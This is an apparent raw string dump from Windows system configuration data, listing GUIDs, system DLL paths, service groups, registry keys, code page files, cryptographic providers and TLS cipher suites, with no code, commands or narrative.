{54d5ac20-e14f-4fda-92da-ebf7556ff176} {152FDB2B-6E9D-4B60-B317-815D5F174C4A} {f9fe3908-44b8-48d9-9a32-5a763ff5ed79} %SystemRoot%\System32\ddputils.dll %systemroot%\system32\defragsvc.dll {f8ad09ba-419c-5134-1750-270f4d0fb889} %SystemRoot%\System32\dosvc.dll {F717D024-F5B4-4F03-9AB9-331B2DC38FFB} {968f313b-097f-4e09-9cdd-bc62692d138b} %SystemRoot%\system32\quartz.dll {3cc2d4af-da5e-4ed4-bcbe-3cf995940483} %SystemRoot%\System32\ksproxy.ax {6eb8db94-fe96-443f-a366-5fe0cee7fb1c} %systemroot%\system32\eapsvc.dll {3663a992-84be-40ea-bba9-90c7ed544222} %SystemRoot%\system32\efscore.dll {b977cf02-76f6-df84-cc1a-6a4b232322b6} %SystemRoot%\system32\wecsvc.dll {7d7b0c39-93f6-4100-bd96-4dda859652c5} %SystemRoot%\System32\fdeploy.dll {4EACB4D0-263B-4b93-8CD6-778A278E5642} {315a8872-923e-4ea2-9889-33cd4754bf64} %SystemRoot%\system32\twinui.appcore.dll {D4BE7726-DC7A-11DF-A6E6-0902DFD72085} {05f02597-fe85-4e67-8542-69567ab8fd4f} {04d66358-c4a1-419b-8023-23b73902de2c} %SystemRoot%\system32\pdh.dll {7f9d83de-8abb-457f-98e8-4ad161449ecc} %SystemRoot%\system32\perfdisk.dll {13b197bd-7cee-4b4e-8dd0-59314ce374ce} %SystemRoot%\system32\prflbmsg.dll {cab2b8a5-49b9-4eec-b1b0-fac21da05a3b} %SystemRoot%\system32\perfnet.dll {f82fb576-e941-4956-a2c7-a0cf83f6450a} %SystemRoot%\system32\perfos.dll {72d211e1-4c54-4a93-9520-4901681b2271} %SystemRoot%\system32\perfproc.dll {fd771d53-8492-4057-8e35-8c02813af49b} %SystemRoot%\system32\werfault.exe {1b8b402d-78dc-46fb-bf71-46e64aedf165} %SystemRoot%\system32\TSWorkspace.dll {5b0a651a-8807-45cc-9656-7579815b6af0} %systemroot%\system32\msra.exe {0888e5ef-9b98-4695-979d-e92ce4247224} %SystemRoot%\System32\RstrtMgr.dll {ca4e628d-8567-4896-ab6b-835b221f373f} %SystemRoot%\system32\tquery.dll {2cd58181-0bb6-463e-828a-056ff837f966} %SystemRoot%\system32\efswrt.dll {E5BA83F6-07D0-46b1-8BC7-7E669A1D31DC} {e23b33b0-c8c9-472c-a5f9-f2bdfea0f156} %windir%\system32\sppsvc.exe {AAEAC398-3028-487c-9586-44EACAD03637} {d0e22efc-ac66-4b25-a72d-382736b5e940} %systemroot%\System32\MsSpellCheckingFacility.dll {b2fcd41f-9a40-4150-8c92-b224b7d8c8aa} %systemroot%\System32\MsSpellCheckingFacility.dll {1bda2ab1-bbc1-4acb-a849-c0ef2b249672} %systemroot%\System32\MsSpellCheckingHost.exe {126cdb97-d346-4894-8a34-658da5eea1b6} %windir%\system32\SrEvents.dll {28aa95bb-d444-4719-a36f-40462168127e} %SystemRoot%\system32\mstscax.dll {db00dfb6-29f9-4a9c-9b3b-1f4f9e7d9770} %SystemRoot%\System32\userenv.dll {89b1e9f0-5aff-44a6-9b44-0a07a7ce5845} %SystemRoot%\System32\profsvc.dll {712abb2d-d806-4b42-9682-26da01d8b307} %SystemRoot%\system32\mciavi32.dll {A0E3D8EA-C34F-4419-A1DB-90435B8B21D0} {11a75546-3234-465e-bec8-2d301cb501ac} %SystemRoot%\system32\WINSAT.EXE {9d55b53d-449b-4824-a637-24f9d69aa02f} %SystemRoot%\system32\winsrv.dll {1edeee53-0afe-4609-b846-d8c0b2075b1f} %SystemRoot%\system32\wbem\WinMgmtR.dll {777ba8fe-2498-4875-933a-3067de883070} %windir%\system32\xwizards.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll {719BE4ED-E9BC-4DD8-A7CF-C85CE8E4975D} {5D9E0020-3761-4f36-90C8-38CE6511BD12} {7A67066E-193F-4D3A-82D3-322FEE5259DE} {155CB334-3D7F-4ff1-B107-DF8AFC3C0363} C:\Windows\System32\msimsg.dll {CF3F502E-B40D-4071-996F-00981EDF938E} {FD771D53-8492-4057-8E35-8C02813AF49B} %SystemRoot%\System32\profsvc.dll {89B1E9F0-5AFF-44A6-9B44-0A07A7CE5845} %SystemRoot%\System32\mprmsg.dll %SystemRoot%\System32\scecli.dll %SystemRoot%\System32\scesrv.dll %SystemRoot%\System32\wscsvc.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll %SystemRoot%\System32\sxs.dll %SystemRoot%\System32\appmgr.dll %SystemRoot%\system32\sppsvc.exe {E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156} C:\Windows\System32\Speech_OneCore\Common\sapi_onecore.dll %systemroot%\system32\sxproxy.dll %SystemRoot%\System32\srm.dll {CAD2D809-03D9-4F46-9CF4-72AA4F04B6B9} %systemroot%\system32\srcore.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll %SystemRoot%\System32\McpManagementService.dll %SystemRoot%\system32\usbperf.dll %SystemRoot%\System32\userenv.dll {DB00DFB6-29F9-4A9C-9B3B-1F4F9E7D9770} C:\Windows\SysWOW64\msvbvm60.dll %SystemRoot%\System32\VSSVC.EXE %SystemRoot%\System32\wersvc.dll %systemroot%\system32\sdengin2.dll {0ead09bd-2157-539a-8d6d-c87f95b64d70} %SystemRoot%\system32\wer.dll %systemroot%\system32\tquery.dll %systemroot%\system32\tquery.dll {CA4E628D-8567-4896-AB6B-835B221F373F} %SystemRoot%\system32\wsepno.dll {FC6F77DD-769A-470E-BCF9-1B6555A118BE} %SystemRoot%\System32\wininit.exe {206f6dea-d3c5-4d10-bc72-989f03c8b84b} %SystemRoot%\System32\winlogon.exe {DBE9B383-7CF3-4331-91CC-A3CB16A3B538} {1edeee53-0afe-4609-b846-d8c0b2075b1f} %SystemRoot%\System32\winlogon.exe {DBE9B383-7CF3-4331-91CC-A3CB16A3B538} C:\Windows\Microsoft.NET\Framework64\v4.0.30319\EventLogMessages.dll %SystemRoot%\System32\ntvdm64.dll %SystemRoot%\System32\wshext.dll %SystemRoot%\system32\EnterpriseAppMgmtSvc.dll Microsoft %SystemRoot%\System32\SimCfg.dll %SystemRoot%\System32\SimAuth.dll @%SystemRoot%\System32\SimAuth.dll,-1001 %SystemRoot%\System32\SimCfg.dll %SystemRoot%\System32\SimCfg.dll %SystemRoot%\System32\TtlsCfg.dll %SystemRoot%\System32\TtlsAuth.dll @%SystemRoot%\System32\TtlsCfg.dll,-1001 %SystemRoot%\System32\TtlsCfg.dll %SystemRoot%\System32\TtlsCfg.dll %SystemRoot%\System32\EapTeapConfig.dll @%SystemRoot%\system32\rastls.dll,-2001 o/dns-query https://dns.google/dns-query https://dns.quad9.net/dns-query \SystemRoot\System32\config %SystemRoot%\system32\CapabilityAccessManager.dll %SystemRoot%\system32\appxdeploymentserver.dll AE2DC901-312D-41DF-8B79-E835E63DB874 ndisvirtualbus.inf oVendorType xmlns="http://www.microsoft.com/provisioning/EapCommon">0026falsetruesomeone@example.com %SystemRoot%\System32\eapsvc.dll %SystemRoot%\System32\eapprovp.dll EapProvPlugGetInfo %SystemRoot%\System32\DeviceSetupManager.dll %SystemRoot%\Minidump dumpfve.sys @c_sensor.inf,%GyrometerDesc%;Gyrometer @c_net.inf,%SMSDesc%;Text message @c_media.inf,%AudiocaptureDesc%;Microphone @c_sensor.inf,%CompassDesc%;Compass @c_sensor.inf,%CustomSensorDesc%;Custom sensor @c_proximity.inf,%ProximityDesc%;Proximity DeviceInterface String \Device\DeviceApi\Dev\NoState \Device\DeviceApi\Dev\Query IOCTL AEPService String LRPC 289e5e0f-414a-4de9-8d17-244507fffc07 DevicePanel String \Device\DeviceApi\Dev\NoState \Device\DeviceApi\Dev\Query IOCTL AEPProtocol String LRPC 289e5e0f-414a-4de9-8d17-244507fffc07 DeviceContainer Uuid \Device\DeviceApi\Dev\NoState \Device\DeviceApi\Dev\Query IOCTL Device String \Device\DeviceApi\Dev\NoState \Device\DeviceApi\Dev\Query IOCTL DeviceInterfaceClass Uuid \Device\DeviceApi\Dev\NoState \Device\DeviceApi\Dev\Query IOCTL String LRPC 289e5e0f-414a-4de9-8d17-244507fffc07 AEPContainer Uuid LRPC 289e5e0f-414a-4de9-8d17-244507fffc07 DeviceInstallerClass Uuid \Device\DeviceApi\Dev\NoState \Device\DeviceApi\Dev\Query IOCTL DeviceInterfaceDisplay DevQueryEntry C:\Windows\System32\DevDispItemProvider.dll String InProc DeviceContainerDisplay DevQueryEntry C:\Windows\System32\DevDispItemProvider.dll Uuid InProc PCI\VEN_8086&DEV_0F1C Copyright (c) Microsoft Corporation. All rights reserved. @elscore.dll,-1 text/plain text/plain errata.inf ifsutilx.dll {B4C8DF59-D16F-4042-80B7-3557A254B7C5} {BA126AD3-2166-11D1-B1D0-00805FC1270E} {BA126AD5-2166-11D1-B1D0-00805FC1270E} {BA126ADD-2166-11D1-B1D0-00805FC1270E} {1693A251-983B-4CB6-A4A9-F27585A7D21A} "%PROGRAMFILES%\Windows Media Player\wmpnscfg.exe" %SystemRoot%\System32\ncsi.dll NcsiIdentifyUserSpecificProxies Extension Unit Property Set ExtTransport - Tape Video ProcAmp Camera Control PrintConfig.dll WIN40 ARM64 IA64 W32X86 winprint.dll AppMon.dll localspl.dll tcpmon.dll usbmon.dll VirtualMon.dll APMon.dll LanMan Print Services Internet Print Provider HTTP Print Services inetpp.dll LanMan Print Services win32spl.dll Both %SystemRoot%\system32\WwanRadioManager.dll Both %SystemRoot%\system32\XboxGipRadioManager.dll Both %SystemRoot%\system32\WlanRadioManager.dll %SystemRoot%\system32\RDXService.dll cmd.exe Driver Service Service Service Service Driver Group Registry Server System\CurrentControlSet\Control\ProductOptions System\CurrentControlSet\Control\Server Applications Software\Microsoft\Windows NT\CurrentVersion credssp.dll Kerberos System\CurrentControlSet\Control\Print\Printers System\CurrentControlSet\Services\Eventlog Software\Microsoft\OLAP Server Software\Microsoft\Windows NT\CurrentVersion\Print Software\Microsoft\Windows NT\CurrentVersion\Windows System\CurrentControlSet\Control\ContentIndex System\CurrentControlSet\Control\Terminal Server System\CurrentControlSet\Control\Terminal Server\UserConfig System\CurrentControlSet\Control\Terminal Server\DefaultUserConfiguration Software\Microsoft\Windows NT\CurrentVersion\Perflib System\CurrentControlSet\Services\SysmonLog CDPSvc {a913092c-143b-4639-a9e8-7132a952bc88} {fdd099c6-df06-4904-83b4-a87a27903c70} System Reserved WdfLoadGroup Boot Bus Extender System Bus Extender SCSI miniport Port Primary Disk SCSI Class SCSI CDROM Class FSFilter Infrastructure FSFilter System FSFilter Bottom FSFilter Copy Protection FSFilter Security Enhancer FSFilter Open File FSFilter Physical Quota Management FSFilter Virtualization FSFilter Encryption FSFilter Compression FSFilter Imaging FSFilter HSM FSFilter Cluster File System FSFilter System Recovery FSFilter Quota Management FSFilter Content Screener FSFilter Continuous Backup FSFilter Replication FSFilter Anti-Virus FSFilter Undelete FSFilter Activity Monitor FSFilter Top Filter Boot File System Base Pointer Port Keyboard Port Pointer Class Keyboard Class Video Init Video Video Save File System Streams Drivers NDIS Wrapper COM Infrastructure Event Log PerceptionGroup ProfSvc_Group AudioGroup UIGroup MS_WindowsLocalValidation PlugPlay Cryptography PNP_TDI NDIS iSCSI NetBIOSGroup ShellSvcGroup SchedulerGroup SpoolerGroup SmartCardGroup NetworkProvider MS_WindowsRemoteValidation NetDDEGroup Parallel arbitrator Extended Base PCI Configuration MS Transactions Tcpip netprofm,netman,dcomlaunch %SystemRoot%\system32\appidapi.dll SQMLogger SQMLogger SQMLogger WindowsTrustedRT 0ae3b998-9a38-4b72-a4c4-06849441518d_Servicing-Stack.dll Servicing-Stack 3bc29097-7317-41d3-93b9-38a48f99d48a_mssrch.dll mssrch.dll 4545ffe2-0dc4-4df4-9d02-299ef204635e_hvsocket.dll hvsocket.sys 69fe178f-26e7-43a9-aa7d-2b616b672dde_eventlogservice.dll EventLogService 6bea57fb-8dfb-4177-9ae8-42e8b3529933_RuntimeDeviceInstall.dll RuntimeDeviceInstall \DosDevices\COM1 \Device\ConDrv\Console \Device\ConDrv\CurrentIn \Device\ConDrv\CurrentOut \Device\MailSlot \Device\Null \Device\NamedPipe \DosDevices\LPT1 \Silos \Device\Mup %SystemRoot%\system32\cmd.exe C:\Windows\System32\Drivers\DriverData Windows_NT %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC AMD64 %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules %SystemRoot%\TEMP %SystemRoot%\TEMP SYSTEM %SystemRoot% wave1 netfxcustomperfcounters.1.0 SharedPerfIPCBlock Cor_Private_IPCBlock Cor_Public_IPCBlock_ ?:\pagefile.sys 5398-158 @%SystemRoot%\system32\powrprof.dll,-220,Percentage of battery capacity remaining that initiates the low battery action. @%SystemRoot%\system32\powrprof.dll,-221,Low battery level @%SystemRoot%\system32\powrprof.dll,-81,percent @%SystemRoot%\system32\powrprof.dll,-218,Percentage of battery capacity remaining that initiates the critical battery action. @%SystemRoot%\system32\powrprof.dll,-219,Critical battery level @%SystemRoot%\system32\powrprof.dll,-81,percent _Meiji_M _Taisho_T _Showa_S _Heisei_H _Reiwa_R c_10000.nls c_iscii.dll c_iscii.dll c_iscii.dll c_iscii.dll c_iscii.dll c_708.nls c_720.nls c_737.nls c_775.nls c_10001.nls c_10002.nls c_10003.nls c_10004.nls c_10005.nls c_10006.nls c_10007.nls c_10008.nls c_10010.nls c_10017.nls c_10021.nls c_10029.nls c_10079.nls c_10081.nls c_10082.nls c_1026.nls c_1047.nls c_1140.nls c_1141.nls c_1142.nls c_1143.nls c_1144.nls c_1145.nls c_1146.nls c_1147.nls c_1148.nls c_037.nls c_1149.nls c_1250.nls c_1251.nls c_1252.nls c_1253.nls c_1254.nls c_1255.nls c_1256.nls c_1257.nls c_1258.nls c_1361.nls c_20000.nls c_20001.nls c_20002.nls c_20003.nls c_20004.nls c_20005.nls c_20105.nls c_20106.nls c_20107.nls c_20108.nls c_20127.nls c_20261.nls c_20269.nls c_20273.nls c_20277.nls c_20278.nls c_20280.nls c_20284.nls c_20285.nls c_20290.nls c_20297.nls c_20420.nls c_20423.nls c_20424.nls c_20833.nls c_20838.nls c_20866.nls c_20871.nls c_20880.nls c_20905.nls c_20924.nls c_20932.nls c_20936.nls c_20949.nls c_21025.nls c_21027.nls c_21866.nls C_28591.NLS C_28592.NLS c_28593.nls C_28594.NLS C_28595.NLS C_28596.NLS C_28597.NLS c_28598.nls c_28599.nls c_28603.nls c_28605.nls c_28598.nls c_437.nls c_500.nls c_is2022.dll 1252 c_is2022.dll c_is2022.dll c_is2022.dll c_is2022.dll c_is2022.dll c_20949.nls c_is2022.dll c_g18030.dll c_gsm7.dll c_gsm7.dll c_gsm7.dll c_gsm7.dll c_gsm7.dll c_iscii.dll c_iscii.dll c_iscii.dll c_iscii.dll c_iscii.dll c_850.nls c_852.nls c_855.nls c_857.nls c_858.nls c_860.nls c_861.nls c_862.nls c_863.nls c_864.nls c_865.nls c_866.nls c_869.nls c_870.nls c_874.nls c_875.nls c_932.nls c_936.nls c_949.nls c_950.nls vgaoem.fon 10000 F040-F9FC AAA1-AFFE,F8A1-FEFE,A140-A7A0 C9A1-C9FE,FEA1-FEFE FA40-FEFE,8E40-A0FE,8140-8DFE,C6A1-C8FE 00000409 00000409 normnfc.nls normnfd.nls normnfkc.nls normnfkd.nls normidna.nls {00000001-57EE-1E5C-00B4-D0000BB1E11E} {00000015-57EE-1E5C-00B4-D0000BB1E11E} {0000004A-57EE-1E5C-00B4-D0000BB1E11E} {00000030-57EE-1E5C-00B4-D0000BB1E11E} {00000003-57EE-1E5C-00B4-D0000BB1E11E} {00000012-57EE-1E5C-00B4-D0000BB1E11E} {00000031-57EE-1E5C-00B4-D0000BB1E11E} {00000023-57EE-1E5C-00B4-D0000BB1E11E} {0000003D-57EE-1E5C-00B4-D0000BB1E11E} {0000004A-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000034-57EE-1E5C-00B4-D0000BB1E11E} {0000000F-57EE-1E5C-00B4-D0000BB1E11E} {00000019-57EE-1E5C-00B4-D0000BB1E11E} {0000000E-57EE-1E5C-00B4-D0000BB1E11E} {0000001C-57EE-1E5C-00B4-D0000BB1E11E} {0000002C-57EE-1E5C-00B4-D0000BB1E11E} {0000001F-57EE-1E5C-00B4-D0000BB1E11E} {0000003F-57EE-1E5C-00B4-D0000BB1E11E} {00000045-57EE-1E5C-00B4-D0000BB1E11E} {0000002B-57EE-1E5C-00B4-D0000BB1E11E} {0000002A-57EE-1E5C-00B4-D0000BB1E11E} {00000027-57EE-1E5C-00B4-D0000BB1E11E} {00000041-57EE-1E5C-00B4-D0000BB1E11E} {00000016-57EE-1E5C-00B4-D0000BB1E11E} {0000001A-57EE-1E5C-00B4-D0000BB1E11E} {00000003-57EE-1E5C-00B4-D0000BB1E11E} {0000003E-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000002-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000019-57EE-1E5C-00B4-D0000BB1E11E} {00000013-57EE-1E5C-00B4-D0000BB1E11E} {00000004-57EE-1E5C-00B4-D0000BB1E11E} {00000026-57EE-1E5C-00B4-D0000BB1E11E} {00000025-57EE-1E5C-00B4-D0000BB1E11E} {00000046-57EE-1E5C-00B4-D0000BB1E11E} {00000036-57EE-1E5C-00B4-D0000BB1E11E} {00000048-57EE-1E5C-00B4-D0000BB1E11E} {0000000B-57EE-1E5C-00B4-D0000BB1E11E} {0000001F-57EE-1E5C-00B4-D0000BB1E11E} {0000000C-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000047-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {0000004A-57EE-1E5C-00B4-D0000BB1E11E} {0000002E-57EE-1E5C-00B4-D0000BB1E11E} {00000028-57EE-1E5C-00B4-D0000BB1E11E} {00000005-57EE-1E5C-00B4-D0000BB1E11E} {00000006-57EE-1E5C-00B4-D0000BB1E11E} {00000014-57EE-1E5C-00B4-D0000BB1E11E} {0000000A-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {0000004A-57EE-1E5C-00B4-D0000BB1E11E} {00000010-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {0000002D-57EE-1E5C-00B4-D0000BB1E11E} {00000020-57EE-1E5C-00B4-D0000BB1E11E} {00000033-57EE-1E5C-00B4-D0000BB1E11E} {00000020-57EE-1E5C-00B4-D0000BB1E11E} {00000020-57EE-1E5C-00B4-D0000BB1E11E} {00000003-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000007-57EE-1E5C-00B4-D0000BB1E11E} {0000001D-57EE-1E5C-00B4-D0000BB1E11E} {00000016-57EE-1E5C-00B4-D0000BB1E11E} {00000016-57EE-1E5C-00B4-D0000BB1E11E} {0000002B-57EE-1E5C-00B4-D0000BB1E11E} {0000002B-57EE-1E5C-00B4-D0000BB1E11E} {00000011-57EE-1E5C-00B4-D0000BB1E11E} {00000024-57EE-1E5C-00B4-D0000BB1E11E} {0000004A-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000009-57EE-1E5C-00B4-D0000BB1E11E} {00000007-57EE-1E5C-00B4-D0000BB1E11E} {00000021-57EE-1E5C-00B4-D0000BB1E11E} {0000001B-57EE-1E5C-00B4-D0000BB1E11E} {0000001B-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000029-57EE-1E5C-00B4-D0000BB1E11E} {0000001E-57EE-1E5C-00B4-D0000BB1E11E} {0000001B-57EE-1E5C-00B4-D0000BB1E11E} {00000021-57EE-1E5C-00B4-D0000BB1E11E} {0000001B-57EE-1E5C-00B4-D0000BB1E11E} {00000021-57EE-1E5C-00B4-D0000BB1E11E} {0000001B-57EE-1E5C-00B4-D0000BB1E11E} {0000001B-57EE-1E5C-00B4-D0000BB1E11E} {00000018-57EE-1E5C-00B4-D0000BB1E11E} {00000019-57EE-1E5C-00B4-D0000BB1E11E} {0000001A-57EE-1E5C-00B4-D0000BB1E11E} {00000044-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {00000032-57EE-1E5C-00B4-D0000BB1E11E} {0000004A-57EE-1E5C-00B4-D0000BB1E11E} {0000002F-57EE-1E5C-00B4-D0000BB1E11E} {0000003C-57EE-1E5C-00B4-D0000BB1E11E} {00000008-57EE-1E5C-00B4-D0000BB1E11E} {00000042-57EE-1E5C-00B4-D0000BB1E11E} {00000022-57EE-1E5C-00B4-D0000BB1E11E} {00000043-57EE-1E5C-00B4-D0000BB1E11E} {0000000D-57EE-1E5C-00B4-D0000BB1E11E} {00000017-57EE-1E5C-00B4-D0000BB1E11E} {00000040-57EE-1E5C-00B4-D0000BB1E11E} {00000035-57EE-1E5C-00B4-D0000BB1E11E} {0000003A-57EE-1E5C-00B4-D0000BB1E11E} {0000004B-57EE-1E5C-00B4-D0000BB1E11E} {00000039-57EE-1E5C-00B4-D0000BB1E11E} {00000037-57EE-1E5C-00B4-D0000BB1E11E} {0000004B-57EE-1E5C-00B4-D0000BB1E11E} {00000039-57EE-1E5C-00B4-D0000BB1E11E} {00000037-57EE-1E5C-00B4-D0000BB1E11E} {00000038-57EE-1E5C-00B4-D0000BB1E11E} {00000037-57EE-1E5C-00B4-D0000BB1E11E} {0000003B-57EE-1E5C-00B4-D0000BB1E11E} {00000037-57EE-1E5C-00B4-D0000BB1E11E} {0000003B-57EE-1E5C-00B4-D0000BB1E11E} {0000003B-57EE-1E5C-00B4-D0000BB1E11E} 00060502 SortWindows61.dll SortWindows62.dll SortWindows63.dll SortWindows64.dll kernel32.dll icu.dll SortServer2003Compat.dll SortWindows6Compat.dll SortWindows6Compat.dll NetBIOS.ndi ms_server LanmanServer @%systemroot%\system32\srvsvc.dll,-109 @%systemroot%\system32\srvsvc.dll,-110 winnet5 netbios netbios_smb Netserv.inf Install.ndi NetworkBindingEngineMigPlugin.dll Microsoft-Windows-Mobile-Provisioning-Datastore Provisioning WPP Provisioning ETW Microsoft-Windows-Provisioning-Engine RDBSS WPP RDR WPP WitnessClient WPP SMB20 WPP MRXSMB WPP SRV2 WPP SRV1 WPP samlib.dll en-AS;en-DM;en-GD;en-GU;en-LR;en-MH;en-PH;en-PR;en-PW;en-UM;en-US;en-VI es;es-ES;es-GQ;es-PH BDA Device Control Plug-in IKsTopologyInfo BDA Device Control Plug-in ntmarta.dll Windows NT Access Provider %SystemRoot%\system32\ntmarta.dll IISSUBA %SystemRoot%\system32\WDI\LogFiles\ShutdownPerfDiagLogger.etl {fcf23a83-8b61-44e6-a543-68db1ea9c76e} %SystemRoot%\System32\ngcpopkeysrv.dll ms-appx-web:///webapps/inclusiveSspr/view/ssprerror-main.html ms-appx-web:///views/nointernet.html ms-appx-web:///views/helloEnrollment.html mskeyprotect.dll NCRYPT_KEY_PROTECTION_INTERFACE SDDL LOCAL WEBCREDENTIALS VAULTCREDENTIALS DRACERTIFICATE CERTIFICATE KEYFILE Microsoft Next Generation Credentials Key Storage Provider ngcksp.dll CRYPT_KEY_STORAGE_INTERFACE KEY_STORAGE credui.dll PCPKsp.dll CRYPT_KEY_STORAGE_INTERFACE KEY_STORAGE Microsoft Base Smart Card Crypto Provider Microsoft Smart Card Key Storage Provider scksp.dll CRYPT_KEY_STORAGE_INTERFACE KEY_STORAGE Microsoft Base Cryptographic Provider v1.0 Microsoft Enhanced Cryptographic Provider v1.0 Microsoft Strong Cryptographic Provider Microsoft RSA Signature Cryptographic Provider Microsoft RSA SChannel Cryptographic Provider Microsoft Base DSS Cryptographic Provider Microsoft Base DSS and Diffie-Hellman Cryptographic Provider Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider Microsoft DH SChannel Cryptographic Provider Microsoft Enhanced RSA and AES Cryptographic Provider %SystemRoot%\System32\winbio.dll credui.dll ncryptprov.dll CRYPT_KEY_STORAGE_INTERFACE KEY_STORAGE cng.sys NCRYPT_SCHANNEL_INTERFACE TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_CHACHA20_POLY1305_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_DHE_RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 TLS_DHE_DSS_WITH_AES_256_CBC_SHA TLS_DHE_DSS_WITH_AES_128_CBC_SHA TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_DES_CBC_SHA TLS_DHE_DSS_WITH_DES_CBC_SHA TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_RSA_WITH_NULL_MD5 TLS_RSA_EXPORT1024_WITH_RC4_56_SHA TLS_RSA_EXPORT_WITH_RC4_40_MD5 TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 ncryptsslp.dll NCRYPT_SCHANNEL_INTERFACE feclient.dll TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_CHACHA20_POLY1305_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_DHE_RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 